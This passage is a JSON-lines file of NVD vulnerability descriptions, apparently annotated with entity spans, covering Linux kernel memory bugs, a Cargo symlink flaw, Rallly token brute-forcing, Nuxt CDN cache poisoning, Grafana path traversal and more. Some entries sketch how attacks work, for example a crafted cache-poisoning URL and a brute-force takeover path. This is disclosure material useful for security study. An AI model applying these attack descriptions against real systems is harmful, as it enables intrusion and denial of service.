{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_event: Fix UAF in hci_conn_tx_dequeue\n\nThis fixes the following UAF caused by not properly locking hdev when\nprocessing HCI_EV_NUM_COMP_PKTS:\n\nBUG: KASAN: slab-use-after-free in hci_conn_tx_dequeue+0x1be/0x220 net/bluetooth/hci_conn.c:3036\nRead of size 4 at addr ffff8880740f0940 by task kworker/u11:0/54\n\nCPU: 1 UID: 0 PID: 54 Comm: kworker/u11:0 Not tainted 6.16.0-rc7 #3 PREEMPT(full)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014\nWorkqueue: hci1 hci_rx_work\nCall Trace:\n <TASK>\n dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xca/0x230 mm/kasan/report.c:480\n kasan_report+0x118/0x150 mm/kasan/report.c:593\n hci_conn_tx_dequeue+0x1be/0x220 net/bluetooth/hci_conn.c:3036\n hci_num_comp_pkts_evt+0x1c8/0xa50 net/bluetooth/hci_event.c:4404\n hci_event_func net/bluetooth/hci_event.c:7477 [inline]\n hci_event_packet+0x7e0/0x1200 net/bluetooth/hci_event.c:7531\n hci_rx_work+0x46a/0xe80 net/bluetooth/hci_core.c:4070\n process_one_work kernel/workqueue.c:3238 [inline]\n process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3321\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3402\n kthread+0x70e/0x8a0 kernel/kthread.c:464\n ret_from_fork+0x3fc/0x770 arch/x86/kernel/process.c:148\n ret_from_fork_asm+0x1a/0x30 home/kwqcheii/source/fuzzing/kernel/kasan/linux-6.16-rc7/arch/x86/entry/entry_64.S:245\n </TASK>\n\nAllocated by task 54:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3e/0x80 mm/kasan/common.c:68\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:394\n kasan_kmalloc include/linux/kasan.h:260 [inline]\n __kmalloc_cache_noprof+0x230/0x3d0 mm/slub.c:4359\n kmalloc_noprof include/linux/slab.h:905 [inline]\n kzalloc_noprof include/linux/slab.h:1039 [inline]\n __hci_conn_add+0x233/0x1b30 net/bluetooth/hci_conn.c:939\n le_conn_complete_evt+0x3d6/0x1220 net/bluetooth/hci_event.c:5628\n hci_le_enh_conn_complete_evt+0x189/0x470 net/bluetooth/hci_event.c:5794\n hci_event_func net/bluetooth/hci_event.c:7474 [inline]\n hci_event_packet+0x78c/0x1200 net/bluetooth/hci_event.c:7531\n hci_rx_work+0x46a/0xe80 net/bluetooth/hci_core.c:4070\n process_one_work kernel/workqueue.c:3238 [inline]\n process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3321\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3402\n kthread+0x70e/0x8a0 kernel/kthread.c:464\n ret_from_fork+0x3fc/0x770 arch/x86/kernel/process.c:148\n ret_from_fork_asm+0x1a/0x30 home/kwqcheii/source/fuzzing/kernel/kasan/linux-6.16-rc7/arch/x86/entry/entry_64.S:245\n\nFreed by task 9572:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3e/0x80 mm/kasan/common.c:68\n kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:576\n poison_slab_object mm/kasan/common.c:247 [inline]\n __kasan_slab_free+0x62/0x70 mm/kasan/common.c:264\n kasan_slab_free include/linux/kasan.h:233 [inline]\n slab_free_hook mm/slub.c:2381 [inline]\n slab_free mm/slub.c:4643 [inline]\n kfree+0x18e/0x440 mm/slub.c:4842\n device_release+0x9c/0x1c0\n kobject_cleanup lib/kobject.c:689 [inline]\n kobject_release lib/kobject.c:720 [inline]\n kref_put include/linux/kref.h:65 [inline]\n kobject_put+0x22b/0x480 lib/kobject.c:737\n hci_conn_cleanup net/bluetooth/hci_conn.c:175 [inline]\n hci_conn_del+0x8ff/0xcb0 net/bluetooth/hci_conn.c:1173\n hci_abort_conn_sync+0x5d1/0xdf0 net/bluetooth/hci_sync.c:5689\n hci_cmd_sync_work+0x210/0x3a0 net/bluetooth/hci_sync.c:332\n process_one_work kernel/workqueue.c:3238 [inline]\n process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3321\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3402\n kthread+0x70e/0x8a0 kernel/kthread.c:464\n ret_from_fork+0x3fc/0x770 arch/x86/kernel/process.c:148\n ret_from_fork_asm+0x1a/0x30 home/kwqcheii/source/fuzzing/kernel/kasan/linux-6.16-rc7/arch/x86/entry/entry_64.S:245", "spans": {"FILEPATH: /bluetooth/hci_conn.c": [[297, 318], [845, 866], [1957, 1978], [3332, 3353], [3396, 3417]], "FILEPATH: /01/2014": [[550, 558]], "FILEPATH: /kasan/report.c": [[685, 700], [741, 756], [789, 804]], "FILEPATH: /bluetooth/hci_event.c": [[910, 932], [957, 979], [1028, 1050], [2021, 2043], [2094, 2116], [2141, 2163], [2212, 2234]], "FILEPATH: /bluetooth/hci_core.c": [[1084, 1105], [2268, 2289]], "FILEPATH: /x86/kernel/process.c": [[1348, 1369], [2532, 2553], [3783, 3804]], "FILEPATH: /kwqcheii/source/fuzzing/kernel/kasan/linux-6.16-rc7/arch/x86/entry/entry_64.S": [[1407, 1485], [2591, 2669], [3842, 3920]], "FILEPATH: /kasan/common.c": [[1542, 1557], [1600, 1615], [1645, 1660], [1703, 1718], [2715, 2730], [2773, 2788], [2869, 2884], [2929, 2944]], "FILEPATH: /linux/kasan.h": [[1745, 1759], [2973, 2987]], "FILEPATH: /linux/slab.h": [[1847, 1860], [1897, 1910]], "FILEPATH: /kasan/generic.c": [[2826, 2842]], "FILEPATH: /linux/kref.h": [[3242, 3255]], "FILEPATH: /bluetooth/hci_sync.c": [[3459, 3480], [3520, 3541]], "FILEPATH: dump_stack.c": [[639, 651]], "FILEPATH: workqueue.c": [[1136, 1147], [1207, 1218], [1258, 1269], [2320, 2331], [2391, 2402], [2442, 2453], [3571, 3582], [3642, 3653], [3693, 3704]], "FILEPATH: kthread.c": [[1303, 1312], [2487, 2496], [3738, 3747]], "FILEPATH: slub.c": [[1812, 1818], [3020, 3026], [3055, 3061], [3098, 3104]], "FILEPATH: kobject.c": [[3158, 3167], [3202, 3211], [3297, 3306]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[487, 491]], "VULNERABILITY: use-after-free": [[244, 258]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39983"}}
{"text": "Cargo is a package manager for the rust programming language. After a package is downloaded, Cargo extracts its source code in the ~/.cargo folder on disk, making it available to the Rust projects it builds. To record when an extraction is successful, Cargo writes \"ok\" to the .cargo-ok file at the root of the extracted source code once it extracted all the files. It was discovered that Cargo allowed packages to contain a .cargo-ok symbolic link, which Cargo would extract. Then, when Cargo attempted to write \"ok\" into .cargo-ok, it would actually replace the first two bytes of the file the symlink pointed to with ok. This would allow an attacker to corrupt one file on the machine using Cargo to extract the package. Note that by design Cargo allows code execution at build time, due to build scripts and procedural macros. The vulnerabilities in this advisory allow performing a subset of the possible damage in a harder to track down way. Your dependencies must still be trusted if you want to be protected from attacks, as it's possible to perform the same attacks with build scripts and procedural macros. The vulnerability is present in all versions of Cargo. Rust 1.64, to be released on September 22nd, will include a fix for it. Since the vulnerability is just a more limited way to accomplish what a malicious build scripts or procedural macros can do, we decided not to publish Rust point releases backporting the security fix. Patch files are available for Rust 1.63.0 are available in the wg-security-response repository for people building their own toolchain.\nMitigations We recommend users of alternate registries to exercise care in which package they download, by only including trusted dependencies in their projects. Please note that even with these vulnerabilities fixed, by design Cargo allows arbitrary code execution at build time thanks to build scripts and procedural macros: a malicious dependency will be able to cause damage regardless of these vulnerabilities. crates.io implemented server-side checks to reject these kinds of packages years ago, and there are no packages on crates.io exploiting these vulnerabilities. crates.io users still need to exercise care in choosing their dependencies though, as remote code execution is allowed by design there as well.", "spans": {"DOMAIN: crates.io": [[1997, 2006], [2112, 2121], [2156, 2165]], "VULNERABILITY: remote code execution": [[2242, 2263]], "VULNERABILITY: code execution": [[757, 771], [1832, 1846]], "VULNERABILITY: symlink": [[596, 603]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36113"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.68 and 9.7.0-alpha.12, the GraphQL query complexity validator can be exploited to cause a denial-of-service by sending a crafted query with binary fan-out fragment spreads. A single unauthenticated request can block the Node.js event loop for seconds, denying service to all concurrent users. This only affects deployments that have enabled the requestComplexity.graphQLDepth or requestComplexity.graphQLFields configuration options. This issue has been patched in versions 8.6.68 and 9.7.0-alpha.12.", "spans": {"FILEPATH: Node.js": [[95, 102], [346, 353]], "VULNERABILITY: denial-of-service": [[216, 233]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34573"}}
{"text": "Rallly is an open-source scheduling and collaboration tool. Versions up to and including 3.22.1 of the application features token based authentication. When a user attempts to login to the application, they insert their email and a 6 digit code is sent to their email address to complete the authentication. A token that consists of 6 digits only presents weak entropy however and when coupled with no token brute force protection, makes it possible for an unauthenticated attacker with knowledge of a valid email address to successfully brute force the token within 15 minutes (token expiration time) and take over the account associated with the targeted email address. All users on the Rallly applications are impacted. As long as an attacker knows the user's email address they used to register on the app, they can systematically take over any user account. For the authentication mechanism to be safe, the token would need to be assigned a complex high entropy value that cannot be bruteforced within reasonable time, and ideally rate limiting the /api/auth/callback/email endpoint to further make brute force attempts unreasonable within the 15 minutes time. As of time of publication, no patched versions are available.", "spans": {"FILEPATH: /api/auth/callback/email": [[1054, 1078]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-47781"}}
{"text": "Possible buffer overflow while copying the frame to local buffer due to lack of check of length before copying in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables, Snapdragon Wired Infrastructure and Networking in APQ8009, APQ8017, APQ8053, APQ8076, APQ8096, APQ8096AU, APQ8098, IPQ6018, IPQ8074, MDM9206, MDM9207C, MDM9607, MDM9640, MDM9650, MSM8905, MSM8909, MSM8909W, MSM8917, MSM8920, MSM8937, MSM8940, MSM8953, MSM8996AU, MSM8998, Nicobar, QCA6174A, QCA6574AU, QCA6584AU, QCA9377, QCA9379, QCA9886, QCM2150, QCS405, QCS605, QM215, Rennell, SC7180, SC8180X, SDM429, SDM429W, SDM439, SDM450, SDM630, SDM632, SDM636, SDM660, SDM670, SDM710, SDM845, SDX20, SDX24, SM6150, SM7150, SM8150, SXR1130", "spans": {"VULNERABILITY: buffer overflow": [[9, 24]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3614"}}
{"text": "Nuxt is an open-source web development framework for Vue.js. Prior to 3.16.0, by sending a crafted HTTP request to a server behind an CDN, it is possible in some circumstances to poison the CDN cache and highly impacts the availability of a site. It is possible to craft a request, such as https://mysite.com/?/_payload.json which will be rendered as JSON. If the CDN in front of a Nuxt site ignores the query string when determining whether to cache a route, then this JSON response could be served to future visitors to the site. An attacker can perform this attack to a vulnerable site in order to make a site unavailable indefinitely. It is also possible in the case where the cache will be reset to make a small script to send a request each X seconds (=caching duration) so that the cache is permanently poisoned making the site completely unavailable. This vulnerability is fixed in 3.16.0.", "spans": {"URL: https://mysite.com/?/_payload.json": [[290, 324]], "FILEPATH: Vue.js": [[53, 59]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-27415"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Serialization). Supported versions that are affected are Oracle Java SE: 7u321, 8u311, 11.0.13, 17.0.1; Oracle GraalVM Enterprise Edition: 20.3.4 and 21.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [173, 177], [396, 400], [577, 581], [657, 661], [714, 718], [755, 759], [860, 864]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [166, 172], [213, 219], [389, 395], [405, 411], [570, 576], [586, 592]], "VULNERABILITY: denial of service": [[535, 552]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21341"}}
{"text": "Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.", "spans": {"FILEPATH: /public/plugins": [[260, 275]], "SYSTEM: Grafana": [[0, 7], [69, 76], [344, 351]], "ORGANIZATION: GitHub": [[459, 465]], "VULNERABILITY: directory traversal": [[160, 179]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43798"}}
{"text": "A vulnerability has been identified in SIMATIC S7-200 SMART CPU CR40 (6ES7288-1CR40-0AA0) (All versions), SIMATIC S7-200 SMART CPU CR60 (6ES7288-1CR60-0AA0) (All versions), SIMATIC S7-200 SMART CPU SR20 (6ES7288-1SR20-0AA0) (All versions), SIMATIC S7-200 SMART CPU SR20 (6ES7288-1SR20-0AA1) (All versions), SIMATIC S7-200 SMART CPU SR30 (6ES7288-1SR30-0AA0) (All versions), SIMATIC S7-200 SMART CPU SR30 (6ES7288-1SR30-0AA1) (All versions), SIMATIC S7-200 SMART CPU SR40 (6ES7288-1SR40-0AA0) (All versions), SIMATIC S7-200 SMART CPU SR40 (6ES7288-1SR40-0AA1) (All versions), SIMATIC S7-200 SMART CPU SR60 (6ES7288-1SR60-0AA0) (All versions), SIMATIC S7-200 SMART CPU SR60 (6ES7288-1SR60-0AA1) (All versions), SIMATIC S7-200 SMART CPU ST20 (6ES7288-1ST20-0AA0) (All versions), SIMATIC S7-200 SMART CPU ST20 (6ES7288-1ST20-0AA1) (All versions), SIMATIC S7-200 SMART CPU ST30 (6ES7288-1ST30-0AA0) (All versions), SIMATIC S7-200 SMART CPU ST30 (6ES7288-1ST30-0AA1) (All versions), SIMATIC S7-200 SMART CPU ST40 (6ES7288-1ST40-0AA0) (All versions), SIMATIC S7-200 SMART CPU ST40 (6ES7288-1ST40-0AA1) (All versions), SIMATIC S7-200 SMART CPU ST60 (6ES7288-1ST60-0AA0) (All versions), SIMATIC S7-200 SMART CPU ST60 (6ES7288-1ST60-0AA1) (All versions). Affected devices do not properly handle TCP packets with an incorrect structure. This could allow an unauthenticated remote attacker to cause a denial of service condition. To restore normal operations, the network cable of the device needs to be unplugged and re-plugged.", "spans": {"VULNERABILITY: denial of service": [[1389, 1406]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43647"}}
{"text": "SpiceDB is an open source, Google Zanzibar-inspired, database system for creating and managing security-critical application permissions. The `spicedb serve` command contains a flag named `--grpc-preshared-key` which is used to protect the gRPC API from being accessed by unauthorized requests. The values of this flag are to be considered sensitive, secret data. The `/debug/pprof/cmdline` endpoint served by the metrics service (defaulting running on port `9090`) reveals the command-line flags provided for debugging purposes. If a password is set via the `--grpc-preshared-key` then the key is revealed by this endpoint along with any other flags provided to the SpiceDB binary. This issue has been fixed in version 1.19.1.\n\n### Impact\n\nAll deployments abiding by the recommended best practices for production usage are **NOT affected**:\n- Authzed's SpiceDB Serverless\n- Authzed's SpiceDB Dedicated\n- SpiceDB Operator\n\nUsers configuring SpiceDB via environment variables are **NOT affected**.\n\nUsers **MAY be affected** if they expose their metrics port to an untrusted network and are configuring `--grpc-preshared-key` via command-line flag.\n\n### Patches\n\nTODO\n\n### Workarounds\n\nTo workaround this issue you can do one of the following:\n\n- Configure the preshared key via an environment variable (e.g. `SPICEDB_GRPC_PRESHARED_KEY=yoursecret spicedb serve`)\n- Reconfigure the `--metrics-addr` flag to bind to a trusted network (e.g. `--metrics-addr=localhost:9090`)\n- Disable the metrics service via the flag (e.g. `--metrics-enabled=false`)\n- Adopt one of the recommended deployment models: [Authzed's managed services](https://authzed.com/pricing) or the [SpiceDB Operator](https://github.com/authzed/spicedb-operator)\n\n### References\n\n- [GitHub Security Advisory issued for SpiceDB](https://github.com/authzed/spicedb/security/advisories/GHSA-cjr9-mr35-7xh6)\n- [Go issue #22085](https://github.com/golang/go/issues/22085) for documenting the risks of exposing pprof to the internet\n- [Go issue #42834](https://github.com/golang/go/issues/42834) discusses preventing pprof registration to the default serve mux\n- [semgrep rule go.lang.security.audit.net.pprof.pprof-debug-exposure](https://semgrep.dev/r?q=go.lang.security.audit.net.pprof) checks for a variation of this issue\n\n### Credit\n\nWe'd like to thank Amit Laish, a security researcher at GE Vernova for responsibly disclosing this vulnerability.", "spans": {"URL: https://authzed.com/pricing": [[1626, 1653]], "URL: https://github.com/authzed/spicedb-operator": [[1681, 1724]], "URL: https://github.com/authzed/spicedb/security/advisories/GHSA-cjr9-mr35-7xh6": [[1791, 1865]], "URL: https://github.com/golang/go/issues/22085": [[1887, 1928]], "URL: https://github.com/golang/go/issues/42834": [[2010, 2051]], "URL: https://semgrep.dev/r?q=go.lang.security.audit.net.pprof": [[2189, 2245]], "DOMAIN: go.lang.security.audit.net": [[2134, 2160]], "FILEPATH: /debug/pprof/cmdline": [[369, 389]], "ORGANIZATION: Google": [[27, 33]], "ORGANIZATION: GitHub": [[1746, 1752]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-29193"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Fix call trace warning and hang when removing amdgpu device\n\nOn GPUs with RAS enabled, below call trace and hang are observed when\nshutting down device.\n\nv2: use DRM device unplugged flag instead of shutdown flag as the check to\nprevent memory wipe in shutdown stage.\n\n[ +0.000000] RIP: 0010:amdgpu_vram_mgr_fini+0x18d/0x1c0 [amdgpu]\n[ +0.000001] PKRU: 55555554\n[ +0.000001] Call Trace:\n[ +0.000001] <TASK>\n[ +0.000002] amdgpu_ttm_fini+0x140/0x1c0 [amdgpu]\n[ +0.000183] amdgpu_bo_fini+0x27/0xa0 [amdgpu]\n[ +0.000184] gmc_v11_0_sw_fini+0x2b/0x40 [amdgpu]\n[ +0.000163] amdgpu_device_fini_sw+0xb6/0x510 [amdgpu]\n[ +0.000152] amdgpu_driver_release_kms+0x16/0x30 [amdgpu]\n[ +0.000090] drm_dev_release+0x28/0x50 [drm]\n[ +0.000016] devm_drm_dev_init_release+0x38/0x60 [drm]\n[ +0.000011] devm_action_release+0x15/0x20\n[ +0.000003] release_nodes+0x40/0xc0\n[ +0.000001] devres_release_all+0x9e/0xe0\n[ +0.000001] device_unbind_cleanup+0x12/0x80\n[ +0.000003] device_release_driver_internal+0xff/0x160\n[ +0.000001] driver_detach+0x4a/0x90\n[ +0.000001] bus_remove_driver+0x6c/0xf0\n[ +0.000001] driver_unregister+0x31/0x50\n[ +0.000001] pci_unregister_driver+0x40/0x90\n[ +0.000003] amdgpu_exit+0x15/0x120 [amdgpu]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53036"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: bpf: abort dispatch if device destroyed\n\nThe current HID bpf implementation assumes no output report/request will\ngo through it after hid_bpf_destroy_device() has been called. This leads\nto a bug that unplugging certain types of HID devices causes a cleaned-\nup SRCU to be accessed. The bug was previously a hidden failure until a\nrecent x86 percpu change [1] made it access not-present pages.\n\nThe bug will be triggered if the conditions below are met:\n\nA) a device under the driver has some LEDs on\nB) hid_ll_driver->request() is uninplemented (e.g., logitech-djreceiver)\n\nIf condition A is met, hidinput_led_worker() is always scheduled *after*\nhid_bpf_destroy_device().\n\nhid_destroy_device\n` hid_bpf_destroy_device\n  ` cleanup_srcu_struct(&hdev->bpf.srcu)\n` hid_remove_device\n  ` ...\n    ` led_classdev_unregister\n      ` led_trigger_set(led_cdev, NULL)\n        ` led_set_brightness(led_cdev, LED_OFF)\n          ` ...\n            ` input_inject_event\n              ` input_event_dispose\n                ` hidinput_input_event\n                  ` schedule_work(&hid->led_work) [hidinput_led_worker]\n\nThis is fine when condition B is not met, where hidinput_led_worker()\ncalls hid_ll_driver->request(). This is the case for most HID drivers,\nwhich implement it or use the generic one from usbhid. The driver itself\nor an underlying driver will then abort processing the request.\n\nOtherwise, hidinput_led_worker() tries hid_hw_output_report() and leads\nto the bug.\n\nhidinput_led_worker\n` hid_hw_output_report\n  ` dispatch_hid_bpf_output_report\n    ` srcu_read_lock(&hdev->bpf.srcu)\n    ` srcu_read_unlock(&hdev->bpf.srcu, idx)\n\nThe bug has existed since the introduction [2] of\ndispatch_hid_bpf_output_report(). However, the same bug also exists in\ndispatch_hid_bpf_raw_requests(), and I've reproduced (no visible effect\nbecause of the lack of [1], but confirmed bpf.destroyed == 1) the bug\nagainst the commit (i.e., the Fixes:) introducing the function. This is\nbecause hidinput_led_worker() falls back to hid_hw_raw_request() when\nhid_ll_driver->output_report() is uninplemented (e.g., logitech-\ndjreceiver).\n\nhidinput_led_worker\n` hid_hw_output_report: -ENOSYS\n` hid_hw_raw_request\n  ` dispatch_hid_bpf_raw_requests\n    ` srcu_read_lock(&hdev->bpf.srcu)\n    ` srcu_read_unlock(&hdev->bpf.srcu, idx)\n\nFix the issue by returning early in the two mentioned functions if\nhid_bpf has been marked as destroyed. Though\ndispatch_hid_bpf_device_event() handles input events, and there is no\nevidence that it may be called after the destruction, the same check, as\na safety net, is also added to it to maintain the consistency among all\ndispatch functions.\n\nThe impact of the bug on other architectures is unclear. Even if it acts\nas a hidden failure, this is still dangerous because it corrupts\nwhatever is on the address calculated by SRCU. Thus, CC'ing the stable\nlist.\n\n[1]: commit 9d7de2aa8b41 (\"x86/percpu/64: Use relative percpu offsets\")\n[2]: commit 9286675a2aed (\"HID: bpf: add HID-BPF hooks for\nhid_hw_output_report\")", "spans": {"FILEPATH: /percpu/64": [[2972, 2982]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38016"}}
{"text": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Erlang OTP (ssh_sftpd module) allows Path Traversal.\n\nThis vulnerability is associated with program files lib/ssh/src/ssh_sftpd.erl and program routines ssh_sftpd:is_within_root/2.\n\nThe SFTP server uses string prefix matching via lists:prefix/2 rather than proper path component validation when checking if a path is within the configured root directory. This allows authenticated users to access sibling directories that share a common name prefix with the configured root directory. For example, if root is set to /home/user1, paths like /home/user10 or /home/user1_backup would incorrectly be considered within the root.\n\nThis issue affects OTP from OTP 17.0 until OTP 28.4.1, OTP 27.3.4.9 and OTP 26.2.5.18, corresponding to ssh from 3.0.1 until 5.5.1, 5.2.11.6 and 5.1.4.14.", "spans": {"IP_ADDRESS: 27.3.4.9": [[780, 788]], "IP_ADDRESS: 26.2.5.18": [[797, 806]], "IP_ADDRESS: 5.2.11.6": [[853, 861]], "IP_ADDRESS: 5.1.4.14": [[866, 874]], "FILEPATH: /ssh/src/ssh_sftpd.erl": [[205, 227]], "FILEPATH: /home/user1": [[612, 623]], "FILEPATH: /home/user10": [[636, 648]], "FILEPATH: /home/user1_backup": [[652, 670]], "VULNERABILITY: Path Traversal": [[62, 76], [133, 147]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23942"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: PPC: Book3S HV: Prevent UAF in kvm_spapr_tce_attach_iommu_group()\n\nAl reported a possible use-after-free (UAF) in kvm_spapr_tce_attach_iommu_group().\n\nIt looks up `stt` from tablefd, but then continues to use it after doing\nfdput() on the returned fd. After the fdput() the tablefd is free to be\nclosed by another thread. The close calls kvm_spapr_tce_release() and\nthen release_spapr_tce_table() (via call_rcu()) which frees `stt`.\n\nAlthough there are calls to rcu_read_lock() in\nkvm_spapr_tce_attach_iommu_group() they are not sufficient to prevent\nthe UAF, because `stt` is used outside the locked regions.\n\nWith an artifcial delay after the fdput() and a userspace program which\ntriggers the race, KASAN detects the UAF:\n\n  BUG: KASAN: slab-use-after-free in kvm_spapr_tce_attach_iommu_group+0x298/0x720 [kvm]\n  Read of size 4 at addr c000200027552c30 by task kvm-vfio/2505\n  CPU: 54 PID: 2505 Comm: kvm-vfio Not tainted 6.10.0-rc3-next-20240612-dirty #1\n  Hardware name: 8335-GTH POWER9 0x4e1202 opal:skiboot-v6.5.3-35-g1851b2a06 PowerNV\n  Call Trace:\n    dump_stack_lvl+0xb4/0x108 (unreliable)\n    print_report+0x2b4/0x6ec\n    kasan_report+0x118/0x2b0\n    __asan_load4+0xb8/0xd0\n    kvm_spapr_tce_attach_iommu_group+0x298/0x720 [kvm]\n    kvm_vfio_set_attr+0x524/0xac0 [kvm]\n    kvm_device_ioctl+0x144/0x240 [kvm]\n    sys_ioctl+0x62c/0x1810\n    system_call_exception+0x190/0x440\n    system_call_vectored_common+0x15c/0x2ec\n  ...\n  Freed by task 0:\n   ...\n   kfree+0xec/0x3e0\n   release_spapr_tce_table+0xd4/0x11c [kvm]\n   rcu_core+0x568/0x16a0\n   handle_softirqs+0x23c/0x920\n   do_softirq_own_stack+0x6c/0x90\n   do_softirq_own_stack+0x58/0x90\n   __irq_exit_rcu+0x218/0x2d0\n   irq_exit+0x30/0x80\n   arch_local_irq_restore+0x128/0x230\n   arch_local_irq_enable+0x1c/0x30\n   cpuidle_enter_state+0x134/0x5cc\n   cpuidle_enter+0x6c/0xb0\n   call_cpuidle+0x7c/0x100\n   do_idle+0x394/0x410\n   cpu_startup_entry+0x60/0x70\n   start_secondary+0x3fc/0x410\n   start_secondary_prolog+0x10/0x14\n\nFix it by delaying the fdput() until `stt` is no longer in use, which\nis effectively the entire function. To keep the patch minimal add a call\nto fdput() at each of the existing return paths. Future work can convert\nthe function to goto or __cleanup style cleanup.\n\nWith the fix in place the test case no longer triggers the UAF.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72]], "VULNERABILITY: use-after-free": [[164, 178], [819, 833]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41070"}}
{"text": "Flarum is a forum software for building communities. Using the mentions feature provided by the flarum/mentions extension, users can mention any post ID on the forum with the special `@\"<username>\"#p<id>` syntax. The following behavior never changes no matter if the actor should be able to read the mentioned post or not: A URL to the mentioned post is inserted into the actor post HTML, leaking its discussion ID and post number. The `mentionsPosts` relationship included in the `POST /api/posts` and `PATCH /api/posts/<id>` JSON responses leaks the full JSON:API payload of all mentioned posts without any access control. This includes the content, date, number and attributes added by other extensions. An attacker only needs the ability to create new posts on the forum to exploit the vulnerability. This works even if new posts require approval. If they have the ability to edit posts, the attack can be performed even more discreetly by using a single post to scan any size of database and hiding the attack post content afterward. The attack allows the leaking of all posts in the forum database, including posts awaiting approval, posts in tags the user has no access to, and private discussions created by other extensions like FriendsOfFlarum Byobu. This also includes non-comment posts like tag changes or renaming events. The discussion payload is not leaked but using the mention HTML payload it's possible to extract the discussion ID of all posts and combine all posts back together into their original discussions even if the discussion title remains unknown. All Flarum versions prior to 1.6.3 are affected. The vulnerability has been fixed and published as flarum/core v1.6.3. As a workaround, user can disable the mentions extension.", "spans": {"FILEPATH: /api/posts": [[487, 497], [510, 520]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22487"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: fix page frag corruption on page fault\n\nSteffen reported a TCP stream corruption for HTTP requests\nserved by the apache web-server using a cifs mount-point\nand memory mapping the relevant file.\n\nThe root cause is quite similar to the one addressed by\ncommit 20eb4f29b602 (\"net: fix sk_page_frag() recursion from\nmemory reclaim\"). Here the nested access to the task page frag\nis caused by a page fault on the (mmapped) user-space memory\nbuffer coming from the cifs file.\n\nThe page fault handler performs an smb transaction on a different\nsocket, inside the same process context. Since sk->sk_allaction\nfor such socket does not prevent the usage for the task_frag,\nthe nested allocation modify \"under the hood\" the page frag\nin use by the outer sendmsg call, corrupting the stream.\n\nThe overall relevant stack trace looks like the following:\n\nhttpd 78268 [001] 3461630.850950:      probe:tcp_sendmsg_locked:\n        ffffffff91461d91 tcp_sendmsg_locked+0x1\n        ffffffff91462b57 tcp_sendmsg+0x27\n        ffffffff9139814e sock_sendmsg+0x3e\n        ffffffffc06dfe1d smb_send_kvec+0x28\n        [...]\n        ffffffffc06cfaf8 cifs_readpages+0x213\n        ffffffff90e83c4b read_pages+0x6b\n        ffffffff90e83f31 __do_page_cache_readahead+0x1c1\n        ffffffff90e79e98 filemap_fault+0x788\n        ffffffff90eb0458 __do_fault+0x38\n        ffffffff90eb5280 do_fault+0x1a0\n        ffffffff90eb7c84 __handle_mm_fault+0x4d4\n        ffffffff90eb8093 handle_mm_fault+0xc3\n        ffffffff90c74f6d 